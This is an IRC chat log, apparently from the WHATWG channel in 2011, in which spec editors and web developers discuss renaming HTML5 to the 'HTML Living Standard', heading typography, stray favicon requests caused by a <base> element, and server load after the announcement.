[12:11:00.0000] <TabAtkins>
MikeSmith: Thanks.  I keep my follower list clean, and I just can't tell sometimes with the japanese followers.

[12:14:00.0000] <MikeSmith>
TabAtkins: yeah, I do a lot of blocking too

[12:14:01.0000] <MikeSmith>
but that one looks like somebody who probably has genuine interest in your tweets

[12:15:00.0000] <MikeSmith>
though you never can tell

[12:16:00.0000] <MikeSmith>
the spammy ones getting hard to detect

[12:17:00.0000] <TabAtkins>
That's all I need.

[12:24:00.0000] <Hixie>
hsivonen: yeah, that was the reason to keep the name before, but i'm not sure it really matters anymore given recent developments

[12:25:00.0000] <Hixie>
Rik`: we abandoned the timeline a while back. The stuff that went to LC in 2009 will probably be all stably implemented in 2022, but we've moved on to new stuff too since then as well. The spec will never be "done" unless it's also "abandoned".

[12:27:00.0000] <annevk>
I don't really see the big deal either.

[12:28:00.0000] <annevk>
"html spec" will probably give one of the versions of HTML back in due course...

[12:28:01.0000] <annevk>
And if you want to talk about it you probably want to talk about a specific feature. And if it's just the general idea you could use HTML5, which are both happening already.

[12:28:02.0000] <Hixie>
"html spec" on google returns html4, then the editor's draft of w3c html5

[12:29:00.0000] <Hixie>
and a bit below that the whatwg specs page

[12:29:01.0000] <Hixie>
(and in between... html 3.2)

[12:29:02.0000] <annevk>
that seems good enough

[12:30:00.0000] <annevk>
and on w3.org we've yet to claim w3.org/TR/html/

[12:30:01.0000] <annevk>
which surely should point to it

[12:31:00.0000] <Ms2ger>
That should point to the XHTML2 note, certainly!

[12:32:00.0000] <Hixie>
wtf, why am i getting so many hits for things like specs/web-apps/current-work/multipage/lfavicon.ico

[12:34:00.0000] <annevk>
Hixie, maybe because of http://dhtml5.com/

[12:34:01.0000] <Hixie>
ooh, maybe

[12:34:02.0000] <Hixie>
/me checks logs

[12:34:03.0000] <Ms2ger>
  <link rel="icon" href="http://dhtml5.com/5favicon.ico">

[12:35:00.0000] <annevk>
but also see the base URL

[12:35:01.0000] <annevk>
that combined with bogus software

[12:35:02.0000] <Hixie>
yup, that's it

[12:36:00.0000] <Hixie>
firefix and chrome

[12:36:01.0000] <Ms2ger>
Oh, good it isn't Firefox ;)

[12:36:02.0000] <annevk>
miketaylr, ^^

[12:36:03.0000] <miketaylr>
aye, fixed that

[12:36:04.0000] <miketaylr>
:/ sry

[12:36:05.0000] <annevk>
it's not really your fault I think

[12:36:06.0000] <miketaylr>
<base> got me.

[12:37:00.0000] <Hixie>
and opera

[12:37:01.0000] <Hixie>
i don't understand what the browsers are doing

[12:37:02.0000] <Ms2ger>
Check the spec? ;)

[12:37:03.0000] <miketaylr>
someone put dhtml5.com on hacker news so it got a zillion hits

[12:38:00.0000] <Hixie>
i see nothing here that should result in these hits

[12:38:01.0000] <annevk>
miketaylr, what did you change?

[12:38:02.0000] <annevk>
if you changed anything

[12:39:00.0000] <Ms2ger>
File a bug, Hixie will figure it out

[12:39:01.0000] <Ms2ger>
Oh wait

[12:39:02.0000] <miketaylr>
the favicon was a relative URI before, i changed it to be absolute (had forgotten about <base> for the links)

[12:39:03.0000] <miketaylr>
so i think it was me

[12:39:04.0000] <annevk>
aah, and it also changes?

[12:39:05.0000] <miketaylr>
it used too :P

[12:40:00.0000] <annevk>
then it makes sense :)

[12:40:01.0000] <Hixie>
what was the relative url before?

[12:40:02.0000] <Hixie>
aaah

[12:40:03.0000] <Hixie>
ok

[12:40:04.0000] <Hixie>
that all makes sense

[12:40:05.0000] <Hixie>
thanks

[12:40:06.0000] <annevk>
we should maybe have something in the spec about favicons...

[12:40:07.0000] <Hixie>
we do, don't we?

[12:40:08.0000] <miketaylr>
it was just /dfavicon.ico, etc. then some silly script to loop through [dhtml5]favicon.ico, etc.

[12:40:09.0000] <annevk>
like if there's no rel=icon you may attempt to fetch /favicon.ico

[12:41:00.0000] <Hixie>
can't that be a cssom issue? :-)

[12:41:01.0000] <annevk>
you define page loading :)

[12:41:02.0000] <annevk>
and icons are content

[12:41:03.0000] <Ms2ger>
DOM Core ;)

[12:42:00.0000] <annevk>
fffffffuuuuu

[12:43:00.0000] <Hixie>
hey if you want this in DOM Core, i ain't stopping you

[12:43:01.0000] <Hixie>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=11815

[12:43:02.0000] <Hixie>
someone cc julian on that bug, i'm sure he'll want to escalate it

[12:44:00.0000] <Hixie>
so what should i blog when i do this name change

[12:45:00.0000] <Hixie>
specifically, what should the title be

[12:45:01.0000] <Ms2ger>
"This really doesn't change anything, but hey"

[12:45:02.0000] <annevk>
I think you should explain "Living Standard" and that we moved on from "Last Call" if you are going to break the news

[12:45:03.0000] <annevk>
I'm not sure we have done that clearly so far

[12:46:00.0000] <bfrohs>
"One Acronym to Rule Them All"? :)

[12:46:01.0000] <annevk>
i.e. explain that we changed the process and that as a result we also changed the name

[12:46:02.0000] <Hixie>
k

[12:46:03.0000] <Hixie>
i like how in http://lists.w3.org/Archives/Public/public-html/2011Jan/0239.html the summary is lnger than the rationale and details put together

[12:47:00.0000] <Ms2ger>
I like how I ignore that list :)

[12:47:01.0000] <karlcow>
living standard is an interesting turn of language.

[12:47:02.0000] <annevk>
I have no idea for a good title though :)

[12:47:03.0000] <beowulf>
so, is the purpose of the renaming to give over the marketing term HTML5 to be purely marketing?

[12:48:00.0000] <Hixie>
the purpose of renaming is primarily accuracy

[12:48:01.0000] <annevk>
no, it's because there are no versions of HTML

[12:48:02.0000] <annevk>
there's one document for all of them

[12:48:03.0000] <annevk>
or for it, really :)

[12:49:00.0000] <beowulf>
yeah, but the term HTML5 won't go way as a result, so it'll come to mean something else, no?

[12:49:01.0000] <karlcow>
annevk: living specification would be more right than living standard

[12:49:02.0000] <Hixie>
we did it last year but adactio suggested he could still get some mileage out of the term "html5" in advocacy, but with the w3c making the term essentially meaningless now, he agrees that "html" is a better word to describe the html spec.

[12:49:03.0000] <beowulf>
i'm all for it, though

[12:49:04.0000] <annevk>
karlcow, people call it a web standard

[12:50:00.0000] <annevk>
karlcow, it's a different kind of standard, but "living" should indicate that

[12:50:01.0000] <Hixie>
ok i'm submitting http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-120 (i got rid of the childish stuff)

[12:51:00.0000] <karlcow>
living standards sound bio-hazard :) there is nothing permanent.

[12:51:01.0000] <annevk>
beowulf, depending on whether the HTML WG renames the draft it might end up meaning various things

[12:51:02.0000] <annevk>
beowulf, well, and given a timeline it means various things too

[12:51:03.0000] <annevk>
beowulf, e.g. there used to be a substantive difference between HTML5 and HTML 5

[12:51:04.0000] <karlcow>
living spec is better IMHO. :)

[12:51:05.0000] <Hixie>
yeah i never understood that

[12:52:00.0000] <Hixie>
the crazy lengths people have gone to to try to come up with rationales for the space or lack thereof is pretty crazy

[12:52:01.0000] <beowulf>
/me nods

[12:52:02.0000] <karlcow>
HTML&shy;5

[12:53:00.0000] <Ms2ger>
&zwnj;

[12:53:01.0000] <Workshiva>
Use a vertical tab

[12:53:02.0000] <Workshiva>
Then people can disagree about whether there's a space or not

[12:53:03.0000] <Hixie>
or a form feed

[12:53:04.0000] <beowulf>
HTML&thinsp;5

[12:54:00.0000] <Hixie>
see with no "5" all these problems go away too!

[12:54:01.0000] <Workshiva>
HT ML

[12:54:02.0000] <Hixie>
except... will people think we've renamed it to "HTML "?

[12:54:03.0000] <Workshiva>
/me starts a new H.T.M.L. faction

[12:54:04.0000] <Hixie>
oh no, people will argue about whether it's "HTML" or "HTML "...

[12:54:05.0000] <karlcow>
which length for space?

[12:54:06.0000] <Philip`>
/me hates being unable to decide whether to say "HTML 5" or "HTML5", and an arbitrary unnecessary substantive difference is a good way to allow decisiveness without rejecting either of the terms

[12:55:00.0000] <Hixie>
not sure what "arbitrary unnecessary substantive difference" refers to

[12:55:01.0000] <Hixie>
oh, i get it

[12:55:02.0000] <Hixie>
nevermind

[12:55:03.0000] <Philip`>
Like the language vs syntax difference

[12:55:04.0000] <Workshiva>
What is the alphabet of HTML? Discuss

[12:56:00.0000] <karlcow>
unicode 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 200A 200B are all kind of spaces

[12:57:00.0000] <beowulf>
ah, 2001. a fine space.

[12:57:01.0000] <Workshiva>
200C was omitted because we won't need to count that high

[12:57:02.0000] <karlcow>
zero width non-joiner for 200C

[12:59:00.0000] <Ms2ger>
The question is, which spaces are semantic?

[13:00:00.0000] <annevk>
difficult problems -- not so much discussion; simple problems -- lots of discussion

[13:03:00.0000] <annevk>
I missed this somehow

[13:03:01.0000] <annevk>
Mark Pilgrim removed the space again on diveintohtml5.org

[13:03:02.0000] <annevk>
It did not matter to search engines after all?

[13:04:00.0000] <karlcow>
space quest

[13:20:00.0000] <jacobolus>
I went by the bookstore a few days ago, and noticed that the dead tree version of Mark Pilgrim’s book is missing the cute pictures. :(

[13:21:00.0000] <jacobolus>
I propose instead of HTML5, maybe add some typographical flourishes instead. Maybe ❧HTML❧

[13:22:00.0000] <jacobolus>
or HTML➽

[13:22:01.0000] <jacobolus>
(everyone needs a HEAVY WEDGE-TAILED RIGHTWARDS ARROW now and then)

[13:22:02.0000] <annevk>
I suggest we use the Unicode sign for beer then

[13:23:00.0000] <Hixie>
annevk: i wrote a blog post, can you take a look and add whatever you think makes sense and post it? :-)

[13:23:01.0000] <annevk>
/me looks

[13:23:02.0000] <Hixie>
the name change is live

[13:24:00.0000] <espadrine>
Hixie: good! By the way, where is the blog post?

[13:25:00.0000] <Hixie>
annevk's reviewing it

[13:25:01.0000] <Hixie>
it'll be on blog.whatwg.org

[13:25:02.0000] <Hixie>
http://www.whatwg.org/specs/web-apps/current-work/ - i changed the <h1> font size... too big? :-)

[13:26:00.0000] <TabAtkins>
No?

[13:26:01.0000] <jacobolus>
looks good

[13:26:02.0000] <annevk>
looks good

[13:26:03.0000] <annevk>
/me hits publish

[13:28:00.0000] <jacobolus>
Hixie: if you want to get especially fancy (and make it slightly more readable) you could add about 1-2 pixels of letter-spacing

[13:28:01.0000] <annevk>
twitter is updated as well, plugin appears to be working

[13:28:02.0000] <jacobolus>
bold all-caps works best in my experience w/ a tiny bit of extra space

[13:29:00.0000] <karlcow>
http://www.google.com/search?q=%22Living+Standard%22 …

[13:30:00.0000] <karlcow>
now we got the hate of Monocle, The Economist, Financial Times, etc.

[13:30:01.0000] <Hixie>
jacobolus: is it better now?

[13:30:02.0000] <Hixie>
how about the date, is it better like on http://www.whatwg.org/specs/web-apps/current-work/multipage/ or on http://www.whatwg.org/specs/web-apps/current-work/ ?

[13:30:03.0000] <annevk>
at least my social circle knows what it means :p

[13:30:04.0000] <Hixie>
(ignore the missing whitespace on the first one, that's a bug)

[13:31:00.0000] <karlcow>
annevk: ;)

[13:31:01.0000] <jacobolus>
Hixie: ooh, I like it :)

[13:31:02.0000] <beowulf>
general style guidelines are that a little letter spacing on all caps is good form

[13:32:00.0000] <Hixie>
i think it might be better on the h2 line after all

[13:33:00.0000] <espadrine>
Hixie: I like it too! Although I'd like HTML serif.

[13:33:01.0000] <espadrine>
(the heading only)

[13:33:02.0000] <jacobolus>
espadrine: why? the whole rest of the spec uses the same typeface throughout

[13:33:03.0000] <Hixie>
serifs are the style at http://developers.whatwg.org/

[13:34:00.0000] <espadrine>
I've tested it, it looks nice...

[13:34:01.0000] <Hixie>
i think we're going to stick to sans-serif on the normative spec to keep it distinct

[13:34:02.0000] <jacobolus>
Hixie: by the way, developers.whatwg looks great, but the monospace text in it renders a bit smaller than the rest

[13:34:03.0000] <Hixie>
file an issue and ben will fix it -- there's a link at the top iirc

[13:35:00.0000] <jacobolus>
not seeing the link

[13:35:01.0000] <Hixie>
at the bottom of the front page

[13:35:02.0000] <jacobolus>
oh, at the bottom :)

[13:35:03.0000] <Hixie>
search for "issues"

[13:35:04.0000] <jacobolus>
yep, see it

[13:35:05.0000] <Hixie>
yeah sorry he moved it :-)

[13:35:06.0000] <annevk>
Hixie, is there a way you can not ping the tweet bot when you are not changing "source"? if it's hard never mind btw

[13:35:07.0000] <annevk>
i.e. only ping when you change source

[13:36:00.0000] <Hixie>
hmm

[13:36:01.0000] <annevk>
you get empty result sets otherwise

[13:36:02.0000] <Hixie>
oh i guess you still got a rev huh

[13:36:03.0000] <annevk>
right

[13:36:04.0000] <Hixie>
because i changed the index

[13:36:05.0000] <Hixie>
hmm

[13:36:06.0000] <Hixie>
yeah, hold on one sec just finishing this date thing then i'll look at it

[13:37:00.0000] <espadrine>
Oh, and we forgot the logo!

[13:37:01.0000] <espadrine>
 (never mind the joke)

[13:39:00.0000] <TabAtkins>
I like the "Living Standard - [date]" form.

[13:39:01.0000] <Hixie>
TabAtkins: reload, what do you think of it now?

[13:39:02.0000] <jacobolus>
Hixie: https://github.com/benschwarz/developers.whatwg.org/issues/issue/17

[13:39:03.0000] <Hixie>
oops i broke the style

[13:39:04.0000] <TabAtkins>
Yeah, that's fine too.

[13:40:00.0000] <TabAtkins>
Actually, a little more space between the first paragraph and the list of versions would be good.

[13:40:01.0000] <Hixie>
yeah that was what i broke

[13:40:02.0000] <Hixie>
fixed

[13:40:03.0000] <TabAtkins>
Oh, I liked the first paragraph butting up against the headings.

[13:40:04.0000] <jacobolus>
benschwarz: otherwise, congrats, developers.whatwg.org looks great

[13:40:05.0000] <annevk>
lgtm

[13:41:00.0000] <Hixie>
TabAtkins: let me deal with anne's tweet thing then i'll take a look

[13:41:01.0000] <Hixie>
actually, let me get lunch first. then tweet. then spacing.

[13:41:02.0000] <Hixie>
bbiab

[13:41:03.0000] <beowulf>
i like it how it is now

[13:41:04.0000] <espadrine>
I don't fully know how it is designed, but the copyright goes from 2004 to 2010. Should it be 2011?

[13:43:00.0000] <jacobolus>
benschwarz: hmm, actually, one other thing: I'm not convinced about the gray italicized sections. The gray on white is a bit low contrast

[13:43:01.0000] <adactio>
I've gotta say, I'd rather the document were called "HTML (including next generation additions still in development)" ...less of a jump from the previous "HTML5 (including next generation additions still in development)"

[13:43:02.0000] <jacobolus>
I always thought the parenthesized bit in the title was cheesy, FWIW

[13:44:00.0000] <TabAtkins>
Me too.

[13:44:01.0000] <Workshiva>
HTML (including HTML additions currently in development)

[13:46:00.0000] <annevk>
espadrine, yes

[13:46:01.0000] <annevk>
Hixie, espadrine points out the copyright line is out of date

[13:47:00.0000] <annevk>
Hixie, still 2010

[13:47:01.0000] <jacobolus>
hmm, okay, another issue: code samples in developers.whatwg.org don't keep their indentation

[13:48:00.0000] <jacobolus>
for example compare http://developers.whatwg.org/urls.html#domstringmap-0 to http://developers.whatwg.org/urls.html#domstringmap-0

[13:51:00.0000] <jacobolus>
https://github.com/benschwarz/developers.whatwg.org/issues/#issue/18

[13:54:00.0000] <jacobolus>
Hixie: oh, btw, don't include the extra letter-spacing in the h1 at http://whatwg.org/C

[13:55:00.0000] <jacobolus>
letter-spaced lowercase is ugly

[13:56:00.0000] <jacobolus>
especially since many browsers don't do any proper kerning, so We had too much space already

[13:57:00.0000] <espadrine>
Good news, Bespin dropped the use of canvas!

[13:58:00.0000] <othermaciej>
whoah

[13:58:01.0000] <annevk>
Curious: were they lobbied by the accessibility community or the semantic markup community?

[14:00:00.0000] <miketaylr>
they just merged with that other cloud ide thing today, right?

[14:00:01.0000] <espadrine>
miketaylr: pretty much! ^^

[14:00:02.0000] <miketaylr>
ah yes, https://mozillalabs.com/skywriter/2011/01/18/mozilla-skywriter-has-been-merged-into-ace/

[14:03:00.0000] <espadrine>
That's odd, I can't paste stuff in it.

[14:03:01.0000] <espadrine>
bah.

[14:03:02.0000] <jamesr_>
cool

[14:04:00.0000] <annevk>
http://ajaxorg.github.com/ace/editor-build.html has demo

[14:04:01.0000] <annevk>
it is somewhat broken, but I have to say I have been waiting for something like this

[14:04:02.0000] <espadrine>
Yep, pasting doesn't work.

[14:05:00.0000] <annevk>
shift-9 does not work for me, which is quite severe limitation

[14:06:00.0000] <Philip`>
annevk: Here's one you can copy-and-paste: (

[14:06:01.0000] <espadrine>
wow, pasting is actually done through shift-9 + ctrl-V!

[14:06:02.0000] <Philip`>
/me tends to use the copy-and-paste strategy whenever he needs a # on an Apple machine

[14:06:03.0000] <annevk>
:)

[14:08:00.0000] <benschwarz>
Ok. Here for real now.

[14:10:00.0000] <benschwarz>
jacobolus: Thanks for logging the issues

[14:17:00.0000] <jacobolus>
np

[14:18:00.0000] <jacobolus>
Hixie: actually, I think you might want to leave the size of the H1 at http://whatwg.org/C a bit smaller too

[14:19:00.0000] <jacobolus>
(that is, beyond just leaving default letter-spacing)

[14:19:01.0000] <jacobolus>
benschwarz: should I add an issue for "make gray text a bit darker" too?

[14:19:02.0000] <annevk>
jacobolus, but other than that it is perfect? :)

[14:19:03.0000] <benschwarz>
jacobolus: those code and example things are on my list today already

[14:20:00.0000] <benschwarz>
I made the example style, without realising how overused it is in the spec ;)

[14:20:01.0000] <jacobolus>
annevk: well it's a living document, so it's always going to be perfect, right?

[14:22:00.0000] <annevk>
prolly a little less than the degree to which humans are perfect

[14:23:00.0000] <annevk>
tracking WHATWG on twitter at this point is getting kind of hairy

[14:23:01.0000] <annevk>
too much results

[14:26:00.0000] <frenzz>
http://blog.whatwg.org/html-is-the-new-html5 what actually that means  ?

[14:27:00.0000] <jacobolus>
espadrine: I like your HTML5^H. That's cute

[14:27:01.0000] <annevk>
frenzz, Hixie tried to explain it in the blog post

[14:29:00.0000] <annevk>
frenzz, simply put, the way we develop standards changed; rather than issuing a new version every couple of years we release a new version every day, sometimes multiple times a day

[14:29:01.0000] <benschwarz>
Hixie: Holla!

[14:33:00.0000] <jacobolus>
annevk: I like a tweet from an hour ago, “Version numbers? Where we're going, we don't need version numbers.”

[14:36:00.0000] <annevk>
This is one of the reasons I mention when people ask why the WHATWG still exists. (Aside from the large community.) Because we are much smaller it is a lot easier to break new ground.

[14:38:00.0000] <annevk>
For a lot of reasons this would be nigh-on impossible at the W3C or IETF. Though I should say that the W3C these days has editor's draft which are a big step up. And steps are taken to make it more clear TR/ editions are snapshots.

[14:40:00.0000] <Hixie>
back

[14:40:01.0000] <annevk>
Hixie, might need to allocate more RAM or something, it seems we have been Grubered

[14:40:02.0000] <Hixie>
let me deal with anne's tweet thing and then i'll look at other stuff

[14:40:03.0000] <Hixie>
ok let me deal with ram first THEN the tweet thing THEN the styles

[14:42:00.0000] <Hixie>
ok i've reduced the number of apache instances that can run at once, that should prevent it from DOSing itself

[14:43:00.0000] <Hixie>
now the tweet thing

[14:43:01.0000] <ben_c>
Does the blog have a caching plugin or anything running on it?

[14:44:00.0000] <annevk>
it had, but that was broken

[14:44:01.0000] <annevk>
I didn't get around to trying something new

[14:45:00.0000] <ben_c>
which one were you using? I've got WP Super Cache on my site and it works ridiculously well

[14:45:01.0000] <Hixie>
ok tweet thing is done, shouldn't send you things unless .../source changes

[14:45:02.0000] <ben_c>
although that also broke and I had to dig around fixing it

[14:45:03.0000] <Hixie>
who was talking about letter-spacing

[14:46:00.0000] <Hixie>
jacobolus: should http://www.whatwg.org/specs/web-apps/current-work/webvtt.html be uppercase?

[14:46:01.0000] <heycam>
Hixie, your data uri kitchen seems to be working kind of slow at the moment

[14:46:02.0000] <Hixie>
heycam: yeah apparently whatwg.org blog is popularer than we thought

[14:46:03.0000] <heycam>
ah :)

[14:47:00.0000] <Hixie>
jacobolus: s/uppercase/have letter spacing/

[14:47:01.0000] <Hixie>
heycam: should still be working at least

[14:47:02.0000] <jacobolus>
Hixie: just in general, if you have all caps it looks better with a tiny bit of letter-spacing, and if you have not-all-caps, it looks better without

[14:47:03.0000] <heycam>
timed out for me just then

[14:47:04.0000] <Hixie>
heycam: huh

[14:49:00.0000] <Hixie>
the machine has ram free and cpu idle, it should be ok

[14:49:01.0000] <Hixie>
i mean, it's busy, but not overloaded

[14:49:02.0000] <Hixie>
try now?

[14:50:00.0000] <Hixie>
jacobolus: k, so, no letter-spacing on the WebVTT one?

[14:51:00.0000] <jacobolus>
Hixie: here's bringhurst: "2.1.6 Letterspace all strings of capitals and small caps, and all long strings of digits // 2.1.7 Don't letterspace the lower case without a reason"

[14:51:01.0000] <heycam>
Hixie, worked that time. (took maybe 20 seconds tho.)

[14:51:02.0000] <jacobolus>
half-capitalized half-uncapitalized words look ugly no matter what you do to them; I wouldn't add extra space though

[14:52:00.0000] <Hixie>
heycam: yeah, there's a lot of traffic.

[14:52:01.0000] <Hixie>
jacobolus: k

[14:53:00.0000] <Hixie>
i can also just make it smallcaps

[14:53:01.0000] <annevk>
I will look into caching plugins tomorrow for when we make the next announcement o_O

[14:53:02.0000] <annevk>
I did not quite anticipate this

[14:53:03.0000] <Hixie>
hehe

[14:53:04.0000] <jacobolus>
(also note, I'm not really an expert typographer by any stretch of the imagination)

[14:54:00.0000] <benschwarz>
jacobolus: capital lines should always be letterspaced

[14:54:01.0000] <Hixie>
/me restarts the server with a few more simultaneous connections allowed

[14:54:02.0000] <benschwarz>
but they should be avoided where possible

[14:55:00.0000] <jacobolus>
benschwarz: yeah, but what about the word WebVVT

[14:55:01.0000] <jacobolus>
er, WebVTT

[14:55:02.0000] <benschwarz>
jacobolus: is it a title?

[14:55:03.0000] <Hixie>
how about http://www.whatwg.org/specs/web-apps/current-work/webvtt.html ?

[14:55:04.0000] <Hixie>
(now smallcaps)

[14:55:05.0000] <jacobolus>
benschwarz: ↑

[14:56:00.0000] <Hixie>
http://www.whatwg.org/specs/web-apps/current-work/complete/ is small caps too now

[14:56:01.0000] <benschwarz>
sever is getting too smashed, I think

[14:57:00.0000] <Hixie>
yeah it's a bit slow to load these giant specs

[14:57:01.0000] <Hixie>
gotta say, though, the server is handling this way better than last time we got a lot of traffic

[14:57:02.0000] <Hixie>
and given that it's basically free... can't complain

[14:58:00.0000] <Hixie>
is it me or is the h2 on http://www.whatwg.org/specs/web-apps/current-work/multipage/ a different font or something than the h2 on http://www.whatwg.org/specs/web-apps/current-work/complete/ ???

[14:58:01.0000] <Hixie>
it's the same style sheet...

[14:58:02.0000] <Hixie>
different top margin, too

[14:58:03.0000] <Hixie>
wtf

[14:58:04.0000] <jacobolus>
Hixie: those are loading slow enough that I can't tell you if they're different :)

[14:59:00.0000] <TabAtkins>
It's just you.

[14:59:01.0000] <TabAtkins>
I don't see different top margins either.  Clear your cache?

[15:00:00.0000] <benschwarz>
jacobolus: hmm, I'd keep it regular case. The kerning on the We is way off though

[15:00:01.0000] <jacobolus>
Hixie: I'm not a big fan of the mix of big and small caps there

[15:01:00.0000] <jacobolus>
benschwarz, Hixie: maybe add the "render this with kerning" CSS for h1s and h2s?

[15:01:01.0000] <jacobolus>
then the We won't get so much space

[15:01:02.0000] <benschwarz>
jacobolus: yeah, thats what I stuck into my inspector :)

[15:02:00.0000] <jacobolus>
what's the special css for that?

[15:02:01.0000] <benschwarz>
https://skitch.com/benschwarz/rkg4x/webvtt

[15:02:02.0000] <jacobolus>
I think firefox does kerning properly regardless these days, no?

[15:02:03.0000] <benschwarz>
jacobolus: it always has

[15:02:04.0000] <jacobolus>
well, always since FF3 or something

[15:02:05.0000] <roc>
yeah, since FF3

[15:03:00.0000] <jacobolus>
and safari takes the explicit css flag?

[15:03:01.0000] <Hixie>
what's the magic css to make the browsers slower again?

[15:03:02.0000] <benschwarz>
jacobolus: yes

[15:03:03.0000] <TabAtkins>
use ~ combinators?

[15:03:04.0000] <roc>
text-rendering:optimizeLegibility

[15:03:05.0000] <Hixie>
thanks

[15:03:06.0000] <roc>
actually I'm wrong

[15:03:07.0000] <benschwarz>
Hixie: see the skitch :)

[15:03:08.0000] <Hixie>
yeah i saw it after asking :-)

[15:03:09.0000] <roc>
In FF3 we did not do kerning on Windows and X below certain font sizes (20px)

[15:04:00.0000] <TabAtkins>
Add a "* ~ * * ~ * * ~ * {}" block to your document.

[15:04:01.0000] <benschwarz>
FF3 came out forever ago, seemingly

[15:04:02.0000] <roc>
in FF4 we do kerning always

[15:04:03.0000] <TabAtkins>
Additional benefit - you look like a 13-year old on myspace.

[15:04:04.0000] <roc>
assuming the font's got it, etc etc

[15:04:05.0000] <Hixie>
jgraham: pimpmyspec is giving me 500s... maybe because it can't get the source file from whatwg?

[15:05:00.0000] <jgraham>
Hixie: That would have that effect

[15:05:01.0000] <Hixie>
k

[15:05:02.0000] <Hixie>
can you increase the timeout or something? that might solve the problem with when it's the w3c site, too

[15:06:00.0000] <frenzz>
http://media.tumblr.com/tumblr_leujsqUBpU1qdswit.jpg

[15:06:01.0000] <Hixie>
(which is usually the problem when there's a 500 fromm pms)

[15:07:00.0000] <bga_>
frenzz lynx is turtle

[15:07:01.0000] <bga_>
or owl

[15:07:02.0000] <jacobolus>
Hixie: anyway, feel free to refer any questions about the typography of headings to benschwarz; the main thing is just letterspacing on "HTML", dunno about "WebTTV" (maybe the TTV part, if you want to add a span), and no extra letterspacing on "Web Applications"

[15:08:00.0000] <jgraham>
Hixie: Maybe but I really should sleep now and I am not quite sure how to do it

[15:08:01.0000] <Hixie>
jgraham: k

[15:08:02.0000] <Hixie>
jgraham: nn

[15:08:03.0000] <jgraham>
gn :)

[15:08:04.0000] <benschwarz>
if multi-page is living standard

[15:08:05.0000] <benschwarz>
I wonder what developers. should be

[15:08:06.0000] <Hixie>
jacobolus: well they're all small-caps now so they can all have litter-spacing :-)

[15:09:00.0000] <heycam>
litter-spacing is where the space between two characters is set to the width of a piece of kitty litter

[15:09:01.0000] <Hixie>
benschwarz: is "Edition for Web Developers" no good?

[15:09:02.0000] <heycam>
that, or how much space to put between your kittens

[15:09:03.0000] <benschwarz>
Hixie: well, now you've upped the ante :D

[15:09:04.0000] <Hixie>
benschwarz: heh

[15:09:05.0000] <Hixie>
benschwarz: it's said "living standard" for a while now

[15:10:00.0000] <heycam>
"living standard" makes me think of "living will"

[15:10:01.0000] <Hixie>
i guess we should get a new right-hand-side banner

[15:10:02.0000] <benschwarz>
there is something so bad about this

[15:10:03.0000] <benschwarz>
http://html5.uncontrol.com/

[15:10:04.0000] <Hixie>
or drop it altogether

[15:10:05.0000] <heycam>
I promise to turn life support to HTML5 off if it becomes a vegetable

[15:10:06.0000] <benschwarz>
Hixie: drop it ;)

[15:11:00.0000] <Hixie>
er, left-hand-side banner

[15:12:00.0000] <benschwarz>
or there are many things bad about that, I should say

[15:12:01.0000] <Hixie>
i love how "optimiseLegibility" is written as camelcase in CSS

[15:12:02.0000] <Hixie>
it's a bit like spelling "spelling" as "spellng"

[15:13:00.0000] <roc>
yeah they stuffed that up

[15:13:01.0000] <Hixie>
still getting hits to /specs/web-apps/current-work/multipage/mfavicon.ico btw

[15:14:00.0000] <roc>
we should add optimize-legibility etc as synonyms

[15:14:01.0000] <Hixie>
eh, aliases just mean more bugs with no new features

[15:14:02.0000] <Hixie>
i'd just move on

[15:14:03.0000] <Hixie>
i just think it's funny

[15:14:04.0000] <othermaciej>
benschwarz: omg, HTML5 is the Master Control Program!

[15:15:00.0000] <jacobolus>
jgraham: if you're really having trouble you could try horse tranquilizers

[15:15:01.0000] <Hixie>
oh my lord, without the thing on the left the spec feels so naked!

[15:15:02.0000] <Hixie>
that's gonna take some getting used to

[15:16:00.0000] <TabAtkins>
I know!

[15:16:01.0000] <TabAtkins>
Just add a green stripe.

[15:16:02.0000] <Hixie>
i think it's kinda nice

[15:16:03.0000] <Hixie>
looks clean

[15:16:04.0000] <TabAtkins>
Perhaps with "This is the song that never ends...".

[15:22:00.0000] <benschwarz>
Hixie: yours better not look better than mine :)

[15:22:01.0000] <Hixie>
hahaha

[15:22:02.0000] <Hixie>
no worry of that, believe me

[15:22:03.0000] <Hixie>
well except for the dom trees unless you've fixed those ;-)

[15:22:04.0000] <benschwarz>
Hixie: once developers. is ready, we can look at other editions

[15:22:05.0000] <benschwarz>
Hixie: no, I've been consulting :)

[15:23:00.0000] <Hixie>
blog comments seem positive so far

[15:23:01.0000] <benschwarz>
but today I have ab+c time. some whatwg is on my mind

[15:23:02.0000] <benschwarz>
Hixie: blog comments? on the rename

[15:24:00.0000] <annevk>
twitter too

[15:24:01.0000] <Hixie>
yeah

[15:24:02.0000] <Hixie>
annevk: cool

[15:25:00.0000] <Hixie>
does wordpress just randomly make up icons for users who don't have them?

[15:25:01.0000] <annevk>
the twitters also like our tagline

[15:25:02.0000] <annevk>
Hixie, yeah, before we had some ugly icon so I changed it to make it unique for each of them

[15:25:03.0000] <annevk>
it's a setting

[15:26:00.0000] <Hixie>
fun

[15:26:01.0000] <Hixie>
wow, from the twitters it looks like this change might even cause people to stop focusing on 2022 ;-)

[15:27:00.0000] <Hixie>
lol, svn.whatwg.org just timed out on me while trying to commit

[15:27:01.0000] <Hixie>
that could make life fun

[15:27:02.0000] <annevk>
it only makes sense, now we are always ready

[15:27:03.0000] <annevk>
and always not

[15:27:04.0000] <Hixie>
it's amusing how much an announcement can change

[15:27:05.0000] <Hixie>
i mean, we really didn't change anything today

[15:28:00.0000] <Hixie>
other than make it impossible for me to edit the sec :-P

[15:28:01.0000] <Hixie>
spec

[15:28:02.0000] <annevk>
heh

[15:28:03.0000] <benschwarz>
Hixie: time to sit back and count our money

[15:29:00.0000] <annevk>
I think it means we should share our philosophy more

[15:29:01.0000] <Hixie>
annevk: ok you shouldn't be getting notified anymore if "source" doesn't change. It'll still send you a notification occasionally, e.g. later today when I have to do a forced-submit to make sure everything got updated properly

[15:29:02.0000] <Hixie>
but not in general

[15:29:03.0000] <Hixie>
and forced submits will always be editoriol

[15:29:04.0000] <annevk>
cool

[15:29:05.0000] <Hixie>
editorial

[15:29:06.0000] <annevk>
editorial is tweeted too now on request

[15:29:07.0000] <Hixie>
wtf, we're STILL getting those favicon hits

[15:29:08.0000] <Hixie>
really!

[15:29:09.0000] <Hixie>
wow

[15:30:00.0000] <Hixie>
twitter users are masochists

[15:30:01.0000] <benschwarz>
whats the favicon story?

[15:30:02.0000] <annevk>
what we just announced was an editorial change

